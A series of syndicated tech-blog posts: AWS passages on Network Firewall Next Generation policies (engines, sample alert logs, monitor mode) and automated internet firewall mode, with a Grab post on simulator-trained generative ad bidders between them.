Embedded rules are new with Next Generation policies. You write them directly inside one policy, and they belong to that policy only, so you can’t share them with another policy. Use them to add rules quickly that are specific to that policy. They use that engine’s rule capacity, and you don’t set a capacity up front. Embedded rules in both engine sections share a combined limit. For all limits, see AWS Network Firewall quotas.

Read what each engine logs

Whichever way you add rules, both engines write to the same alert and flow logs, which you configure in the logging configuration. Each alert record carries new fields that show which engine wrote it and, for the firewall engine, the hook where the decision happened.

The following record came from a test, in enforce mode, of the example policy that you build later in this post. A host tried to reach example.com, which isn’t on the allow list.

{
  "firewall_name": "example-fw",
  "availability_zone": "us-east-1a",
  "event_timestamp": "1794341434",
  "event": {
    "event_type": "alert",
    "app_proto": "tls",
    "src_ip": "10.0.1.25",
    "src_port": 42698,
    "dest_ip": "203.0.113.10",
    "dest_port": 443,
    "proto": "TCP",
    "tls": {
      "sni": "example.com"
    },
    "alert": {
      "engine": "fw",
      "action": "blocked",
      "signature_id": 2201001,
      "signature": "SURICATA FW default app policy",
      "severity": 3
    },
    "firewall": {
      "hook": "tls:client_hello",
      "policy": "drop:flow,alert"
    },
    "verdict": {
      "action": "drop"
    },
    "aws_metadata": {
      "resource_arn": "arn:aws:network-firewall:us-east-1:111122223333:firewall-policy-v2/example-policy"
    },
    "timestamp": "2026-11-10T20:10:34.141643+0000"
  }
}

The following table explains the key fields in this record.

Field Value What it tells you
alert.engine fw The firewall engine wrote this record.
firewall.hook tls:client_hello The decision happened at the TLS client hello, where the client sends the server name example.com.
alert.signature SURICATA FW default app policy No rule matched, so the firewall default action applied. The default action logs its drops on its own, so you don’t need an alert rule to see what it blocks.
firewall.policy drop:flow,alert The action and scope that applied. The default action dropped the whole flow and wrote an alert.
aws_metadata.resource_arn arn:aws:network-firewall:us-east-1:111122223333:firewall-policy-v2/example-policy The policy itself is the source, because the record doesn’t come from one of your rule groups.

When a connection that the firewall engine allowed matches a threat rule, the IPS engine writes its own record. In this test, the firewall engine allowed TLS to one test server by IP address. The IPS section also held the following embedded rule, which drops TLS connections with a JA4 fingerprint that your threat intelligence flags. The fingerprint in this rule is a sample value:

drop tls $HOME_NET any -> $EXTERNAL_NET any (msg:"Example: flagged TLS client fingerprint (JA4)"; flow:to_server,established; ja4.hash; content:"t13d1516h2_aaaaaaaaaaaa_bbbbbbbbbbbb"; classtype:trojan-activity; sid:900002; rev:1;)

This is a sample rule to show the IPS engine at work. In your own policies, we recommend that you start with the AWS managed threat signature rule groups and add custom rules where you need them.

A test client with that fingerprint connected to that server without a server name, and the IPS engine wrote the following record.

{
  "firewall_name": "example-fw",
  "availability_zone": "us-east-1a",
  "event_timestamp": "1794377726",
  "event": {
    "event_type": "alert",
    "app_proto": "tls",
    "src_ip": "10.0.1.25",
    "src_port": 38342,
    "dest_ip": "198.51.100.7",
    "dest_port": 443,
    "proto": "TCP",
    "tls": {
      "version": "TLS 1.3",
      "ja4": "t13d1516h2_aaaaaaaaaaaa_bbbbbbbbbbbb"
    },
    "alert": {
      "engine": "td",
      "action": "blocked",
      "signature_id": 900002,
      "signature": "Example: flagged TLS client fingerprint (JA4)"",
      "category": "A Network Trojan was detected",
      "severity": 1
    },
    "verdict": {
      "action": "drop"
    },
    "aws_metadata": {
      "resource_arn": "arn:aws:network-firewall:us-east-1:111122223333:firewall-policy-v2/example-policy"
    },
    "timestamp": "2026-11-11T06:15:26.671435+0000"
  }
}

Field Value What it tells you
alert.engine td The IPS engine wrote this record. IPS records have no firewall object, because IPS rules don’t use hooks.
tls.ja4 t13d1516h2_aaaaaaaaaaaa_bbbbbbbbbbbb The JA4 fingerprint of the client, which matches the fingerprint in the rule.
alert.signature Example: flagged TLS client fingerprint (JA4) The IPS rule that matched, from the rule’s msg option.
alert.category A Network Trojan was detected The rule’s classtype, trojan-activity, sets this category.
verdict.action drop The IPS engine dropped the connection.
aws_metadata.resource_arn arn:aws:network-firewall:us-east-1:111122223333:firewall-policy-v2/example-policy The rule is embedded in the policy, so the record shows the policy ARN. A match from an AWS managed rule group or one of your referenced rule groups carries that rule group’s ARN instead.

To separate access control events from threat events in your queries, filter on the engine field. To find which rule group produced an event, use resource_arn. Embedded rules and the default action show the policy ARN.

Validate in monitor mode, then enforce

Each Next Generation policy has a policy mode, enforce or monitor. In enforce mode, the engines apply their actions. In monitor mode, both engines evaluate your traffic and log what they would do. Your rules and the default action don’t drop or reject traffic.

Monitor mode also turns on alert logging for your rules and the default action, so each firewall rule that would block traffic logs its matches. That makes monitor mode a lower-risk way to stage a rollout of a new policy or a change to an existing one. Monitor logs are close to enforce mode but can differ. When a firewall rule would block a connection, monitor mode lets the connection through but sends it past the IPS engine, just as a blocked connection never reaches the IPS engine in enforce mode. So the monitor logs don’t show IPS alerts for that connection. For the full list of differences, see Policy mode: enforce and monitor.

To validate a policy in monitor mode:

  1. Set Policy mode to Monitor, and confirm that alert logging is on for the firewall. Amazon Route 53 Resolved IP Validation still applies its configured action in monitor mode, so if your policy uses it, set its action to Alert.
  2. Send representative traffic for long enough to cover your normal patterns.
  3. In your alert logs, filter on engine = fw. Check the FirewallDefaultActionApplied metric in Amazon CloudWatch. Traffic that you meant to allow shouldn’t be reaching the default action.
  4. When the results look right, switch Policy mode to Enforce during a maintenance window. Changing the policy mode or the firewall default action restarts stateful inspection on the firewall, which interrupts established connections.

Example policy with a domain allow list and threat protection

The following example puts the engines, logs, and monitor mode together. It allows outbound traffic only to approved domains and checks that allowed traffic for known threats. The firewall engine holds the domain allow list, and the IPS engine runs the AWS active threat defense managed rule group. Figure 4 shows the policy and where each of the earlier log records comes from. Log record 2 comes from the sample embedded rule, which isn’t part of the policy that you create in the following steps.

Figure 4: The example policy, with the sample embedded rule behind log record 2.

Figure 4: The example policy, with the sample embedded rule behind log record 2.

To create the domain list rule group:

  1. In the Network Firewall console, choose Network Firewall rule groups, and then choose Create rule group. Choose Next Generation as the rule group version, Firewall rule group as the type, and Domain list as the format.

    Figure 5: Choosing the rule group version, type, and format for the domain list.

    Figure 5: Choosing the rule group version, type, and format for the domain list.

  2. Enter one domain per line, for example .amazon.com and checkip.amazonaws.com, and under Protocols, select HTTPS only. For HTTPS, the firewall matches the TLS Server Name Indication (SNI) without decrypting traffic. SNI is the server name that a client sends at the start of a TLS connection. To include a domain and its subdomains, start the name with a dot.
  3. For Capacity sizing, choose Allow room to grow, and then create the rule group.

To create the policy:

  1. Choose Firewall policies, and then choose Create firewall policy. Select Next Generation as the policy version and Drop as the firewall default action, so the firewall blocks traffic that you don’t allow. Set Policy mode to Monitor. We recommend rolling out a new policy in monitor mode first, then switching to enforce after you validate it. Enable Active Threat Defense is selected by default. Active threat defense is optional. Additional charges apply; for details, see AWS Network Firewall pricing.
    Figure 6: The policy details page, with Next Generation, Drop, and Monitor selected.

    Figure 6: The policy details page, with Next Generation, Drop, and Monitor selected.

  2. On the Add firewall rule groups step, add the domain list rule group that you created in the previous procedure.
  3. On the Add IPS rule groups step, the active threat defense managed rule group, listed as AttackInfrastructure, is already added. It comes from the Enable Active Threat Defense default that Figure 6 shows. Choose Add rule group to add more AWS managed rule groups, your own rule groups, or embedded rules.
  4. Create the policy, associate it with your firewall, and turn on alert and flow logging.
  5. After you validate the policy, as described in Validate in monitor mode, then enforce, switch Policy mode to Enforce.

For more detail, see Creating a rule group for a Next Generation policy and Generating firewall rules from domain names.

Already using Classic policies?

Classic Network Firewall policies remain supported, and your existing firewalls keep running as they are. Each firewall uses one policy type at a time, either a Classic policy or a Next Generation policy. For new firewalls, we recommend Next Generation policies. We’re working on migration guidance for existing policies, so you can plan a move when it suits you.

To try one now, create a test firewall with a Next Generation policy and start it in monitor mode. To compare the two policy types, see AWS Network Firewall firewall policy versions. Next Generation policies are available at no additional charge. You pay the standard Network Firewall charges for your firewall endpoints and the traffic they process. For Regions and pricing, see AWS Services by Region and AWS Network Firewall pricing.

Conclusion

In this post, we showed you how a Next Generation policy gives access control and threat protection separate engines, each with its own rule capacity, so you can grow your firewall rules and IPS rules independently. We also showed what each engine logs, how to validate a policy in monitor mode, and how to build a policy that allows only approved domains and checks the allowed traffic for threats. To learn more, see Getting started with a Next Generation policy, and to automate your policies, use the AWS Command Line Interface (AWS CLI) or the AWS SDKs.

If you have questions about this post, contact AWS Support or start a new thread on AWS re:Post.


Lawton Pittenger

Lawton Pittenger

Lawton is a Worldwide Security Specialist Solutions Architect at AWS, based in New York City. He helps customers design and implement effective network security controls, and works with AWS service teams to improve security services based on customer feedback. Outside of work, he enjoys skateboarding, snowboarding, and spending time in nature.

Santosh Shanbhag

Santosh is a seasoned product leader, specializing in security, data protection, and compliance. At AWS, he focuses on securing workloads through Network and Application Security services, including AWS Network Firewall and active threat defense.

Aneesh Patel

Aneesh Patel

Aneesh is a Software Development Engineer at AWS, based in Herndon, Virginia. He builds and maintains AWS Network Firewall, a managed service that helps customers protect their VPC networks. Outside of work, he enjoys snowboarding, working out, and playing video games.

Part 2: Generative bidders for ads at Grab

Post Syndicated from Grab Tech original https://engineering.grab.com/part-2-ads-simulation-blogpost

Introduction

Grab runs marketplaces where many important decisions unfold over time, rather than as one-step predictions. Mobility systems need to anticipate how taxi demand and driver supply may evolve across locations and time windows. Food systems need to plan around changing order traffic, merchant capacity, and delivery demand. Ads has the same problem with merchant campaign budgets: traffic quality, user intent, and campaign spend opportunities change throughout the day.

Prediction models estimate what may happen next, such as demand, conversion likelihood, or expected engagement. Many Grab use cases need the system to go further: generate possible future trajectories or action plans, evaluate them against business constraints, and choose a safe path forward.

That is the problem generative models address. They can propose structured futures, such as demand-supply trajectories, order traffic scenarios, or budget pacing plans, conditioned on the current marketplace state and on business goals. Generated futures and generated actions cannot be trusted just because they look plausible. They need to be trained, evaluated, and stress-tested before they influence real users, merchants, drivers, or budgets. This is part 2 of 2. Read Part 1 where we discussed the ads simulator.

Generative bidders for ads

In Grab Ads, the business problem is merchant budget delivery. An ideal campaign spends efficiently across auctions under uneven traffic, winning high-value opportunities while using its target budget. Controllers such as proportional-integral-derivative (PID) controllers are widely used in digital advertising, but they are reactive. They adjust bidding pressure only when a campaign is ahead of or behind its target, and they do not plan how spend should unfold over the next window. To improve ad auction bidding for Grab and its merchants, we propose a generative bidder that plans pacing actions, so campaigns can bid in ways that better serve user experience and business goals. The design follows the diffusion completer-aligner approach described by Li et al. (2025).

A generative bidder produces a short sequence of future pacing actions for a campaign. Ads can then plan budget delivery under marketplace constraints, and use simulation to train, validate, and stress-test those plans before they affect live merchant budgets.

Flowchart of the generative bidder loop. Historical data initializes the bidder, simulated auctions produce trajectories, guardrails decide whether the policy is ready for a live experiment, and live results calibrate the simulator.
Figure 1. Train in simulation, check the guardrails, and only then consider a live experiment.

Part 1 introduced the ads simulator. The simulator does two jobs here. It creates safe opportunities to explore pacing strategies while the bidder trains, and it checks whether those strategies are safe enough for a live test. Training teaches the model to produce plausible, useful pacing plans. Validation checks that those plans survive auction mechanics, budget constraints, delayed signals, and marketplace guardrails.

Why generative bidders need simulation

A traditional budget pacing controller reacts to the gap between how much a campaign should have spent by now and how much it has actually spent. If a campaign underspends, the controller increases bidding pressure. If it overspends, the controller backs off. The pattern is reliable, and it is reactive.

A generative bidder plans ahead. Instead of one adjustment for the current auction, it generates a sequence of pacing actions for a short future window, on the order of tens of minutes. The plan is conditioned on campaign state, time, budget, billing type, current fulfillment progress, the allocation target, and return on ad spend (ROAS) goals.

The simulator does more than score the bidder after training. It also generates training data. Candidate pacing plans run through simulated auctions, and the resulting trajectories, budget movement, fulfillment progress, ROAS, and guardrail metrics are recorded as training examples. The Generator learns which pacing sequences are realistic. The Aligner learns how those sequences affect delivery and efficiency.

The system can then propose different spend shapes over the next window. One plan may spend steadily. Another may hold back early and bid more aggressively later. A third may increase pressure when the model expects higher-value traffic. Simulation lets us explore these alternatives safely, learn from their outcomes, and test the resulting bidder before it affects real merchants.

Core components: Generator and Aligner

Diagram of the Generator and Aligner bidding architecture. Campaign context feeds a diffusion model that proposes 30-minute pacing plans. The Aligner predicts fulfillment, refines candidates, and the planner selects one plan to serve.
Figure 2. Generator and Aligner architecture.

The bidder uses a generate-then-align architecture. The Generator proposes a 30-minute pacing plan, represented as a sequence x = [p₁, …, p₃₀], where each pᵢ ∈ [0, 1] and is the pacing action for one minute. The Aligner evaluates each plan by predicting its final fulfillment progress and ROAS.

Generator

Let x₀ be a real pacing sequence from historical logs or from simulator-generated training data, and let c represent the campaign context and target outcomes. During training, the diffusion process adds Gaussian noise to x₀:

xₜ = √(ᾱₜ) x₀ + √(1 − ᾱₜ) ε, ε ~ 𝒩(0, I)

The Generator learns to predict the noise that was added:

L_gen = 𝔼[‖ε − εθ(xₜ, t, c)‖²]

At serving time, the Generator starts from random noise and reverses this process to produce candidate pacing plans. Classifier-free guidance steers generation toward the requested targets:

ε_guided = ε_uncond + s(ε_cond − ε_uncond)

Aligner

The Aligner receives the campaign context and a candidate pacing trajectory, then predicts the expected outcome:

ŷ = Aϕ(c, x)

The planner compares these predictions with the desired campaign targets:

J(x; c) = Σₘ wₘ ρ(ŷₘ − yₘ*)

Here, yₘ* is the target for metric m, w_m controls its importance, and rho is an error function. The target metrics may represent revenue, budget utilization, or other business objectives.

Inference-time refinement

Because the Aligner is differentiable, the planner can refine the pacing actions at inference time without changing the Generator or Aligner weights. For candidate j at refinement step k, it computes the gradient of the objective with respect to the pacing trajectory:

gⱼ⁽ᵏ⁾ = ∇ₓ J(xⱼ⁽ᵏ⁾; c)

It then updates the trajectory in the direction that reduces the predicted error, and clamps each action to [0, 1]:

xⱼ⁽ᵏ⁺¹⁾ = clip(xⱼ⁽ᵏ⁾ − αₖgⱼ⁽ᵏ⁾, 0, 1)

The planner generates and refines multiple candidate trajectories, then selects the one with the lowest target error:

x* = argminⱼ J(xⱼ; c)

The Generator produces realistic and diverse pacing plans. The Aligner makes them goal-aware by refining them toward defined targets. The simulator supplies the historical and simulated trajectories used to train both components, and it is the environment used to validate the refined plans.

Training: from historical behavior to simulator-driven learning

Training starts with historical behavior. Production data shows how campaigns paced spend under existing controllers. This phase gives the bidder a safe baseline: daily traffic rhythms, campaign-level differences, budget pressure, and the relationship between pacing actions and observed outcomes.

This is behavioral cloning. It is a useful initialization, and it can also reproduce limits in the historical data or in the existing control strategies. The model should learn from production behavior without being restricted to copying it.

The simulator is what lets training move past that baseline. In simulator-driven training, candidate bidders run against replayed historical traffic. The loop collects trajectories and outcomes, and uses those outputs to improve the next model version. Weak strategies can fail offline. Promising strategies can be reinforced across many simulated campaign states. The model can explore pacing plans that would be too risky to test directly in production.

Training at scale with the simulator and Ray

Simulator-driven training is a modeling problem and a distributed systems problem. A useful training round has to replay many historical traffic slices, run candidate policies through the simulator, collect trajectory-level outcomes, train the Generator and Aligner, and register a new model version. Doing that serially would make iteration too slow.

Ray, a distributed computing framework, gives this loop its throughput. A single simulator run can replay one day of traffic and process multiple auction requests. A training round can launch independent simulator workers across different historical dates, campaign slices, or candidate policy versions. Each worker loads its assigned auction data, runs the bidder through replayed traffic, and writes pacing trajectories, spend movement, fulfillment progress, ROAS, and guardrail metrics back to storage.

Ray runs this orchestration as a cluster workload, rather than as a notebook or a one-off batch script. It allocates resources across simulation and training workers, keeps independent replay jobs running concurrently, and gives the loop a way to retry or replace failed work. Inside each simulator, auction processing can still use local parallelism for groups of auction requests. Ray handles parallelism across days, markets, model candidates, and training phases.

The output of this fan-out becomes the next training dataset. The Generator learns from pacing trajectories. The Aligner learns from observed end-of-window outcomes. After training, the updated models are registered as versioned artifacts that can move into validation.

The combined simulator and Ray layer matters for three reasons:

  • Scale. The model can learn from many simulated days or campaign states in one training round, instead of waiting for sequential replay.
  • Diversity. Parallel simulation can cover different traffic patterns, markets, campaign types, and policy variants, which reduces the chance that the model overfits to one historical slice.
  • Repeatability. Each training round can be tied to a specific dataset window, simulator configuration, model version, and validation report, which makes failures easier to diagnose.

The training loop

The training loop has seven steps:

  1. Start with historical production data to learn a safe baseline.
  2. Train the initial Generator and Aligner on observed pacing sequences and outcomes.
  3. Launch parallel simulator runs across campaign states, traffic patterns, dates, markets, and candidate policies.
  4. Let the candidate bidder act inside simulated auctions.
  5. Collect trajectories, including bid plans, auction responses, budget movement, fulfillment progress, ROAS, and guardrail metrics.
  6. Train an improved model from successful and failed strategies.
  7. Register the updated Generator and Aligner as versioned artifacts for validation.

Generation, execution, and learning stay connected. The model does not imitate old pacing behavior once and then stop. It proposes plans, the simulator shows the consequences, training absorbs those consequences, and the next model version gets another chance to plan better.

Validation: from model metrics to marketplace safety

Training asks whether the model can learn. Validation asks whether the learned policy should be trusted.

For generative bidders, validation has to happen at several levels. A model can have a good validation loss and still be unsafe in the auction loop. A generated sequence can look realistic and still underspend. An Aligner can predict well on historical trajectories and still misjudge trajectories from a new Generator. Validation is a separate gate after training, not a side effect of it.

Level 1: dataset and model validation

The first validation layer checks whether the training pipeline and the model are internally sound.

For the Generator, the training code keeps a time-based validation split and logs validation loss, the mean difference of reconstructed sequences, and distribution divergence. The evaluation review adds visual trajectory inspection, distribution fidelity checks, Wasserstein distance between generated and real pacing sequences, and conditioning sensitivity tests. These checks answer basic questions: do generated pacing plans follow real pacing rhythms, do their values occupy a plausible range, and do they change when campaign context changes?

For the Aligner, validation tracks whether the model predicts fulfillment progress and ROAS on held-out windows. It logs fulfillment and ROAS losses, mean absolute error (MAE), and mean squared error (MSE). These metrics matter because the Aligner guides candidate selection. If it overpredicts fulfillment progress, the planner may treat a campaign as on track when the campaign is underspending.

This layer is necessary, and it is not sufficient. It validates the learned components in isolation. The next layer validates the bidder as a decision system.

Level 2: simulator validation against auction dynamics

Replay-day charts comparing a generative bidder with a PID baseline on budget delivery through the day, the direction of auction outcomes, and guardrail breach frequency.
Figure 3. Simulator-based validation.

The simulator validation layer replays the bidder inside the auction environment.

The question changes from whether the model predicts well to what happens when this bidder controls pacing over time. The simulator compares the generative bidder with the existing PID-style pacing baseline under the same historical traffic and campaign conditions. It measures budget adherence, ROAS, order value, spend smoothness, early budget exhaustion, and guardrail violations, to determine that the generative bidder improves on PID without compromising delivery or efficiency.

Level 3: stress testing and guardrails

A generative bidder also needs scenario validation. The simulator can stress the policy under cases that may be rare or risky in live traffic:

  • Sudden traffic spikes during high-value periods.
  • Campaigns that are behind target late in the day.
  • Campaigns with sparse or delayed conversion signals.
  • Markets with different budget and currency behavior.
  • Generated plans that approach budget exhaustion too early.

These stress tests make safety a training and release gate. The bidder should do more than look good on average. It should fail gracefully when the market surprises it.

Deployment: staged live handoff and calibration

Deployment comes after the training and validation gates. A candidate first passes dataset and model validation. It then passes simulator validation against the baseline and the guardrails. It then enters a scoped live experiment.

At serving time, the planner uses the trained Generator and Aligner to create short-lived pacing plans. It generates multiple candidate trajectories, refines them with the Aligner, selects the best plan, executes that plan for the next window, and refreshes the plan when the window expires. The deployed system keeps the same generate, align, select, and refresh pattern used in offline development, under live production constraints.

Live experiments remain the source of truth. The simulator can reduce risk, narrow the candidate set, and expose bad policies early. It cannot replace production evidence. After a live result lands, the gap between simulated and live outcomes becomes calibration data for the next simulator version.

That feedback matters because simulator fidelity moves. As the bidder enters regimes that historical controllers never explored, the simulator has to keep learning too.

Conclusion

This work explores a shift from models that primarily predict outcomes toward generative algorithms that propose candidate actions, plans, and strategies. The framing is specific to this system. It does not describe a company-wide direction.

Many Grab marketplace problems unfold over time. Mobility systems need to reason about future demand and supply. Food systems need to anticipate order traffic and capacity. Ads systems need to decide how merchant budgets should move across uneven traffic while protecting ROAS, revenue, and user experience. In each case, the opportunity is to generate possible futures or action plans and test which ones are safe and useful, not only to predict what may happen.

For Ads, generative bidders are an early example. Instead of reacting auction by auction, a bidder can generate a short pacing plan for the next window, conditioned on campaign state, budget pressure, traffic context, and business goals. The simulator is the environment where these generated plans can be trained, compared, stress-tested, and filtered before they reach production.

The longer-term direction is to make this simulation-to-live loop a standard path for generative algorithms. Offline simulation can identify promising candidates, reject unsafe ones, and expose where a strategy is sensitive to specific traffic slices. Live experiments can then validate a smaller, stronger candidate set and feed real outcomes back into simulator calibration.

The goal is to build the infrastructure that lets Grab move safely toward generative decision-making: generate broadly, validate rigorously, launch narrowly, and learn continuously from production.


We gratefully acknowledge Allen Lin and Jianning Zhang from Grab’s DNA Data Science team for sharing valuable insights into Grab’s advertising systems and data, and for helping validate the simulator’s fidelity. We also thank Ruike Zhang, Richard Ryu, Padarn George Wilson, and Weilun Wu for their support and guidance throughout this work.

Join us

Grab is Southeast Asia’s leading superapp, serving over 900 cities across eight countries (Cambodia, Indonesia, Malaysia, Myanmar, the Philippines, Singapore, Thailand, and Vietnam). Through a single platform, millions of users access mobility, delivery, and digital financial services, including ride-hailing, food delivery, payments, lending, and digital banking via GXS Bank and GXBank. Founded in 2012, Grab’s mission is to drive Southeast Asia forward by creating economic empowerment for everyone while delivering sustainable financial performance and positive social impact.

Powered by technology and driven by heart, our mission is to drive Southeast Asia forward by creating economic empowerment for everyone. If this mission speaks to you, join our team today!

References

Li, Y., Gao, J., Jiang, N., Mao, S., An, R., Pan, F., Zhao, X., An, B., Cai, Q., and Jiang, P. (2025). Generative auto-bidding in large-scale competitive auctions via diffusion completer-aligner. arXiv. https://doi.org/10.48550/arXiv.2509.03348

AWS Network Firewall introduces automated internet firewall mode (Preview)

Post Syndicated from Lawton Pittenger original https://aws.amazon.com/blogs/security/aws-network-firewall-introduces-automated-internet-firewall-mode-preview/

AWS Network Firewall now offers automated internet firewall mode (Preview). In this mode, Network Firewall applies your centrally defined rules to traffic at the internet gateway of each of your virtual private clouds (VPCs). It also performs built-in network address translation (NAT) for outbound-only connections. A subnet that reaches the internet needs only one route, directly to the internet gateway. You no longer need to deploy firewall endpoints and NAT gateways in each VPC and configure the routes between them and the subnets. If you’re new to internet traffic inspection, you can start with AWS managed rule groups for Network Firewall. AWS security experts maintain and update these rule groups to help protect your workloads against changing threats. You can deploy these managed rule groups centrally across your environment.

With automated internet firewall mode, you can:

  • Inspect traffic at the internet gateway – Each VPC gets its own firewall for inbound and outbound IPv4 and IPv6 traffic, with built-in NAT for outbound-only IPv4 connections.
  • Manage centrally, inspect in each VPC – You define policies in AWS Network Security Manager or start from an AWS managed template. Each VPC’s traffic passes its own firewall, so each VPC you add brings its own inspection capacity. The same central policy also works for VPCs with overlapping Classless Inter-Domain Routing (CIDR) ranges.
  • Extend coverage to new VPCs – You can create a scope that includes all existing and future VPCs, so your policy applies to new VPCs when teams create them.

In this post, we explain how automated internet firewall mode works and how it fits your existing architecture. We also walk through the steps to deploy it across your environment.

How automated internet firewall mode works

In automated internet firewall mode, Network Firewall applies your rules at the internet gateway of each VPC. Before this launch, inspecting a VPC’s internet traffic meant routing each subnet through a firewall endpoint. Resources that needed outbound-only connectivity also went through a NAT gateway. This mode helps simplify that model by moving inspection to each VPC’s internet gateway. Each subnet now has one route to the internet gateway, where the firewall inspects the traffic and performs built-in NAT (Figure 1).

Figure 1: Outbound traffic before and after automated internet firewall

Figure 1: Outbound traffic before and after automated internet firewall

Each VPC gets its own firewall, not a share of one. When you use VPC endpoint associations to protect multiple VPCs with one firewall, those VPCs share that firewall’s capacity in each Availability Zone. In automated internet firewall mode, each VPC’s firewall supports throughput of up to 100 Gbps in each Availability Zone (Service quotas). It also works when VPCs have overlapping CIDR ranges, because their traffic doesn’t meet in a shared inspection network where the addresses would conflict.

The firewall inspects inbound and outbound traffic. For outbound-only connectivity, the firewall first inspects the traffic and then performs NAT, so your rules and logs see each workload’s private IP address. Built-in NAT translates outbound IPv4 connections from resources without a public IP address, and IPv6 traffic isn’t translated. If your destinations accept only allowlisted source addresses, an Amazon VPC IP Address Manager (IPAM) policy lets you choose the NAT addresses that automated internet firewall mode uses (NAT for outbound traffic).

The firewall uses Network Firewall Next Generation firewall policies. You can start from AWSManagedTemplateIGWFirewallBaseline, an AWS managed template that AWS security experts maintain. You can then add AWS managed rule groups and your own rule groups.

Automated internet firewall mode only inspects traffic that crosses the internet gateway. For traffic between VPCs and to on-premises networks over AWS Direct Connect or AWS Site-to-Site VPN, we recommend a transit gateway-attached Network Firewall.

Subnet connectivity options

Before this launch, a public subnet had a direct route to the internet gateway, and its resources used public IP addresses, so they could connect out and accept inbound connections. A private subnet had no direct route, and its resources reached the internet through a NAT gateway. With automated internet firewall mode, a subnet that reaches the internet can route 0.0.0.0/0 directly to the internet gateway, so the route table no longer separates public from private. Instead, each subnet’s connectivity type decides how its resources reach the internet. You set it in the Network Security Manager policy, not on the subnet. Table 1 maps each type to the model you know.

Connectivity type Works like What happens
Flexible (recommended) A public and a private subnet in one A resource with a public IP address, such as an Elastic IP address, gets bidirectional access, as in a public subnet. A resource without one gets outbound-only access through built-in NAT, similar to a private subnet.
Bidirectional A public subnet Resources with a public IP address connect out and accept inbound connections. Resources without one can’t reach the internet.
Outbound-only A private IPv4 subnet behind a NAT gateway, or an IPv6 subnet behind an egress-only internet gateway Unsolicited inbound connections are dropped. Resources without a public IP address connect out through built-in NAT, and resources with one keep their own address.
Excluded A subnet without a firewall Traffic bypasses the firewall and built-in NAT.

The firewall inspects traffic in each type except excluded (Figure 2). Each policy sets one default connectivity type for all subnets in scope. You can override it for specific subnets based on tags or on Amazon Resource Name (ARN). When a subnet matches more than one override, the first one in the list applies.

Figure 2: Flexible, bidirectional, and outbound-only subnets are inspected. Excluded subnets aren’t.

Figure 2: Flexible, bidirectional, and outbound-only subnets are inspected. Excluded subnets aren’t.

Connectivity types also decide which inbound connections reach your resources. The firewall inspects inbound connections to resources with a public IP address in flexible and bidirectional subnets, such as the Network Load Balancer for a non-HTTP service in Figure 3. Figure 3 also shows the outbound path, where instances without a public IP address connect out through the firewall and then built-in NAT. For web applications and APIs, we still recommend AWS WAF on Amazon CloudFront in front of an Application Load Balancer. You can set that load balancer’s subnet to excluded so Network Firewall doesn’t inspect the same request again. Keep in mind that excluded applies in both directions, so any outbound traffic from that subnet also bypasses the firewall.

Figure 3: Inbound and outbound traffic showing inbound, outbound, and excluded connections

Figure 3: Inbound and outbound traffic showing inbound, outbound, and excluded connections

Managing automated internet firewall mode

You manage automated internet firewall mode in AWS Network Security Manager. With AWS Organizations, a central security team deploys policies from the Network Security Manager administrator account to the whole organization, to organizational units (OUs), or to specific accounts. Network Security Manager also supports a single-account model, where it applies policies only to that account’s VPCs. You can start from the Network Firewall console or the Network Security Manager console, but the firewall itself is read-only outside Network Security Manager.

Network Security Manager uses three components (Figure 4):

  • Policy – Combines rules and templates with the connectivity type, enforcement mode, logging, and priority. Rules are the building blocks. A traffic inspection rule decides how the firewall handles traffic, and a firewall configuration rule sets options such as the enforcement mode or logging. A template is an ordered, reusable group of rules, such as AWSManagedTemplateIGWFirewallBaseline, that you can share across policies.
  • Scope – Selects your organization, OUs, accounts, or VPCs.
  • Deployment – Binds a policy to a scope. Network Security Manager then creates and manages a firewall in each VPC in scope.
Figure 4: A deployment binds a policy to a scope, and Network Security Manager creates a firewall in each VPC in scope

Figure 4: A deployment binds a policy to a scope, and Network Security Manager creates a firewall in each VPC in scope

This model matters most when you manage many VPCs. Because Network Security Manager applies the policy at the internet gateway, the firewall is designed so that VPC owners and subnet owners without the proper privileges can’t bypass inspection by changing routes. Subnets set to excluded and Availability Zones where automated internet firewall mode isn’t supported aren’t inspected.

Many organizations want one security baseline everywhere, while some accounts, organizational units, or applications need rules in addition to the baseline. To do this, you create two policies, each deployed to its own scope. The organization policy holds a baseline template, and the Account A policy holds the same baseline template plus Account A’s rules (Figure 5). The template lets you maintain the baseline rules once and reuse them in both policies. Where policies overlap, the policy with the lower priority number applies in full, and the policies don’t merge. In Account A, the Account A policy (priority 100) wins over the organization policy (priority 1000), so it must include the baseline template. Its enforcement mode, logging, and connectivity type also replace the organization policy’s. To learn more, see How AWS Network Security Manager works.

Figure 5: The Account A policy, priority 100, takes priority in Account A. Other accounts get the organization policy, priority 1000.

Figure 5: The Account A policy, priority 100, takes priority in Account A. Other accounts get the organization policy, priority 1000.

Getting started

We recommend starting in monitor mode, especially in VPCs with existing workloads. In monitor mode, the firewall logs what your rules would do but doesn’t drop traffic because of them. After the logs show the results you expect, switch the policy to enforce. In this example, we create a policy in monitor mode in six steps.

  1. Start from the AWS Management Console for Network Firewall. On the Firewalls page, open the Internet firewalls tab and choose Create in AWS Network Security Manager. The Quick create and deploy page opens in the Network Security Manager console. Select Network Firewall automated internet firewall as the firewall type.

    Figure 6: Create a new internet firewall

    Figure 6: Create a new internet firewall

  2. Define protections. Choose Manage templates and add AWSManagedTemplateIGWFirewallBaseline. Under Enforcement mode, select Monitor, and choose destinations for alert logs and flow logs.

    Figure 7: Define protections and set destinations for logs

    Figure 7: Define protections and set destinations for logs

  3. Enter a name for the policy and check its Policy priority. Where policies overlap, the lower number takes priority. The new policy gets a priority that evaluates after your existing policies of the same firewall type, and you can change it later in the policy editor.

    Figure 8: Set the policy details

    Figure 8: Set the policy details

  4. Set the scope. For example, you can set the scope for Accounts and OUs to include the entire organization and the scope for VPCs to include all existing and future VPCs. To learn more about scopes, see How AWS Network Security Manager works.

    Figure 9: Set the scope

    Figure 9: Set the scope

  5. Choose the Subnet connectivity type. For example, select Flex (recommended).

    Figure 10: Choose the subnet connectivity type

    Figure 10: Choose the subnet connectivity type

  6. Review your settings and choose Create and deploy. Cross-account visibility lets Network Security Manager see resources in the accounts in the scope.

    Figure 11: Review and deploy

    Figure 11: Review and deploy

Network Security Manager then creates a firewall at the internet gateway of each VPC in scope. For the full steps, including the organization baseline with account-specific rules, see Getting started with automated internet firewall.

Migrating existing VPCs to automated internet firewall mode

When you deploy automated internet firewall mode to an existing VPC, you might not need to change routes on day one. With the flexible type, the firewall inspects existing resources and keeps the addresses they already use (Figure 12):

  • Instance with an Elastic IP address – The firewall inspects its traffic, and the instance keeps its Elastic IP address.
